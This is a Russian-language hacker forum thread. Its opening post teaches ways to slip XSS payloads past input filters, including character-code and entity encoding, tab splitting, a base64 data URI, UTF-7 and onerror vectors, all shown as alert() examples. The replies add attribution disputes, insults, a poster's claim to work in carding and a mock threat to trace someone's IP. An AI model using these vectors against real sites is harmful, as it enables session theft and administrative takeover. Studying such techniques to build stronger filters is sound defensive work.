[Инпут] Здрасте. Данное писание посвящено обзору некоторых из способов обхода xss-фильтров. Уровень сложности материала ориентирован, в среднем, на пользователя имеющего понятие об XSS-атаках, но в то же время имеються доступные краткие объяснения для менее искушенного в этом плане читателя. Это моя первая статья, которая в силу моей неопытности в писательском деле, может иметь некоторые изъяны, так что держите свои помидорные пулеметы в боевой готовности. Так же хотелось бы напомнить, что сами XSS атаки имеют намного больший потенциал нежели кража cookies. С помощью XSS можно выполнять теже действия, что и администратор сайта, главное знать как правильно реализовать атаку. Но перед тем, как что-то делать, нужно убедиться в надежности, а в данном случае, в надежности xss-векторов перед системами фильтрации. Краткое содержание данного писания: [1] - Спасение кавычек. [2] - Использование атрибута. [3] - Добавление угловой скобки. [4] - Использование тега </TITLE>. [5] - Шифрование Base64. [6] - Использование Flash. [7] - Кодировка UTF-7. [8] - Озэръ. [1]-[Спасение кавычек] Часто встречается ситуация когда фильтр экранирует либо удаляет двойную (") и одинарную (') кавычки. В такой ситуации следует воспользоваться String.fromCharCode(), или unescape(), которые переводят все символы в цифровой код. Разница между ними, лишь, в использовании систем исчисления: String.fromCharCode() использует DEC-значения символов, а unescape() использует HEX-значения. Пример: Code: Код: alert(String.fromCharCode(120,97,107,110,101,116,46,114,117)) , где цифры это десятичные коды(DEC) символов. Пример: Code: Код: alert(unescape(/%78%61%6b%6e%65%74%2e%72%75/.source)) , где "/%78%61%6b%6e%65%74%2e%72%75/" - это шеснадцатиричные коды (HEX) символов. Ещё одним методом, является использование, в качестве альтернативы кавычкам, конструкции / /.source Пример: Code: Код: <SCRIPT>alert(/message/.source)</SCRIPT> [2]-[Использование атрибута] Некоторые из атрибутов различных тегов имеют интересные свойства, благодаря которым вы можете использовать кодирование содержимого XSS-вектора. Кодировки, которые можно использовать, такие как, HTML Entities DEC Encode(имеет вид: ), Long HTML Entities DEC Encode(имеет вид: &#(0000)XXX), HTML Entities HEX(имеет вид: &#xXX),(X-цифра). LongHTMLEntities отличается от HTML Entities тем, что не использует точку с запятой для разделения значений символов, и использует дополнительные четыре цифры слева, что даёт возможность обойти фильтрацию -подобных значений, т.к. будет задействовано 7 цифр вместо 3-х. Пример (javascript:alert('xaknet.ru')) в HTML Entities DEC: Знак "!" перед применением удалить Code: Код: <IMG SRC=&!#106;&!#97;&!#118;&!#97;&!#115;&!#99;&!#114;&!#105;&!#112;&!#116;&!#58;&!#97;&!#108;&!#101;&!#114;&!#116;&!#40;&!#39;&!#120;&!#97;&!#107;&!#110;&!#101;&!#116;&!#46;&!#114;&!#117;&!#39;&!#41;> Пример (javascript:alert('xaknet.ru')) в Long HTML Entities DEC: Знак "!" перед применением удалить Code: Код: <IMG SRC=&!#0000106a&!#0000118&!#0000097&!#0000115&!#0000099&!#0000114&!#0000105&!#0000112&!#0000116&!#0000058&!#0000097&!#0000108&!#0000101&!#0000114&!#0000116&!#0000040&!#0000039&!#0000120&!#000097&!#0000107&!#0000110&!#0000101&!#0000116&!#0000046&!#0000114&!#0000117&!#0000039&!#0000041> Пример (javascript:alert('xaknet.ru')) в HTML Entities HEX: Знак "!" перед применением удалить Code: Код: <IMG SRC=&!#x6A;&!#x61;&!#x76;&!#x61;&!#x73;&!#x63;&!#x72;&!#x69;&!#x70;&!#x74;&!#x3A;&!#x61;&!#x6C;&!#x65;&!#x72;&!#x74;&!#x28;&!#x27;&!#x78;&!#x61;&!#x6B;&!#x6E;&!#x65;&!#x74;&!#x2E;&!#x72;&!#x75;&!#x27;&!#x29;> Использование атрибутов имеет такую особенность, благодаря которой можно использовать табуляцию, которая будет разделять вектор на части, и это даст вам ещё одну возможность обойти фильтрацию по названиям функций и методов JavaScript. Схожим методом является изменение регистра букв, но существенным недостатком данного способа является отсутствие возможности изменять регистр букв в названии метода. Пример: Code: Код: <IMG SRC="Ja va sc ri pt : al er t( 'me ssa ge' )"> - такая конструкция работает. Пример: Code: Код: <IMG SRC="javascript:aLeRt('message')"> - такая конструкция работать не будет из-за aLeRt(), вызвавшего ошибку. Так же можно комбинированно использовать эти два способа, но главное соблюдать целостности HEX и DEC значений закодированных символов, т.е. их не стоит разрывать табуляцией, т.к. конструкция не будет работать. Пример HTML Entities DEC: Знак "!" перед применением удалить Code: Код: <IMG SRC=""Ja &!#118; as c &!#114; i pt :a &!#108; ert &!#40; 'm e s s a g e' &!#41 ;"> Всех атрибутов в которых реализована такая возможность я не нашел, да и не искал, т.к. временами случаются приступы вселенской лени, но как мне кажется, это атрибуты, которые имеют характер указателя на объект, либо атрибуты тегов указывающих на объект (страница, рисунок, аплет, и т.д.). [3]-[Добавление угловой скобки] Данный способ позволяет обойти фильтр, проверяющий сразу на присутствие соответствия открывающих и закрывающих угловых скобок, после обнаружения, которых, считает все, что в них находиться тегом и вырезает, либо видоизменяет до состояния неработоспособности. Избежать вмешательства фильтра можно путём добавления перед открывающим тегом второй открывающей угловой скобки. Особенность данного способа является обязательное наличие знака комментария //, который ставиться перед закрывающим тегом, дабы сделать вид прокомментированной посторонней закрывающей скобки, что бы не нарушить синтаксис и не вызвать ошибку. Пример: Code: Код: <<SCRIPT>alert('message')//<</SCRIPT> Пример: Code: Код: <<IMG SRC=javascript:alert('message')//> [4]-[Использование тега </TITLE>] Так как тег <TITLE>, в большинстве случаев, находится в начале кода страницы, вы, путём добавления закрывающего </TITLE> можете добиться вырезания всего кода страницы между открывающим и закрывающим тегами TITLE, что может добавить шансы на срабатывание скрипта, который должен выполниться сразу после </TITLE>, если использовать данную конструкцию: Code: Код: </TITLE><SCRIPT>alert("message");</SCRIPT> - закрывает все, что находиться между <TITLE> страницы и векторным (вводимым вами) </TITLE>, после чего выполняет alert(). [5]-[Шифрование алгоритмом base64] Также является хорошим способом, если фильтрация направлена на список названий тегов или JS-кода. Пример: Code: Код: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4="> PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4= - это зашифрованный вектор <script>alert(xaknet.ru)</script>. [6]-[Использование Flash.] В качестве обфускации вектора, можно использовать ActionScript через Flash, путём использования переменных и присваивания им значений, которые являются частями xss-кода. Пример: Code: Код: a="get"; b="URL(\""; c="javascript:"; d="alert('message');\")"; eval(a+b+c+d); [7]-[Использование UTF-7] Заключается данный способ в изменении кодировки символов xss-вектора на UTF-7. Это может сработать в тех случаях, когда в странице не указывается кодировка, и атакующий может заставить страницу испольвоть UTF-7, тем самым, обойти фильтрацию, изменив некоторые из символов UTF-8 на UTF-7. Пример: Code: Код: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-alert('message');+ADw-/SCRIPT+AD4- В примере угловы кавычки представлены в кодировке UTF-7. [8]-[Озэръ] Тут я привёл некоторые из альтернативных вариантов проведения xss-атак: Code: "><img src="x:x" onerror="alert(0)"> - вызывается ошибка в атрибуте SRC=, из-за чего срабатывает alert(). with(document)alert(cookie) - эквивалентен alert(document.cookie). prompt() - эквивалентен alert(). Внимание: некоторые из представленных способов работоспособны не во всех браузерах. [Оутпут] Как видно, это не все возможные способы обхода фильтрации, но основные их обличия я попытался описать. Мне хотелось бы увидеть только здравую и адекватную критику с вашей стороны... Зэ энд, товарищи! Спасибо за этеншен.
1. Не работает в IE начиная с 6 версии. В Mozilla до 3 версии работает точно, последующих версиях, кажется, это прикрыли. Надо посмотрел сделать. А так, данный вид атаки ориентирован преимущественно на оперу. Называется он не [Шифрование алгоритмом base64], а Самодостаточная XSS. 2. Стоит указывать первоисточник, и постить в разделе ЧУЖИЕ СТАТЬИ. http://vulnes.com/showthread.php?p=1051 http://forum.xaknet.ru/showthread.php?t=16290 http://forum.k0d.cc/showthread.php?t=6895& PS. Двух помидоров достаточно?
Тему я запостил т.к. будет полезно иметь представлении вообще об методах обхода. Тема естественно заезженная, но вроде-бы такой нету. Чтобы не придумывать велосипед, запостил наверно и практически все методы тут. Статья опять же расчитана на новичка в этом деле.
http://ha.ckers.org/xss.html Самое четкое место, в котором все о различных xss (ну или почти все) и браузерах, в которых они работают
Трите темку эту. 2Godfather Bulan. Почему 11 дней и почему терпеть? Поставить в игнор тяжело раз не нравится? P.S.
нуну кул хац, давай умник напиши обходы XSS фильтров? хмм думаю слабо. Статья не твоя, но раз ее оставили гуру ачата, значит посчитали нужной. Добавь в заголовке - ретро методы обхода))
Данный пост является оффтопиком, если пост будет мешать-потрите. Я не занимаюсь взломами. Я на данный момент в теме кардинга. Так что прикрой пожалуйста свой ротик и набивай посты дальше! Решил что он школьник-по его постам и темам. Что в этом сложного? Если какие то проблемы пиши в пм- разберемся думаю быстро.
поддерживаю, ща карда ip пробьем и пизОосс тебе чел) А раз не занимаешься взломами, то ты ваще не в теме мэн, школота -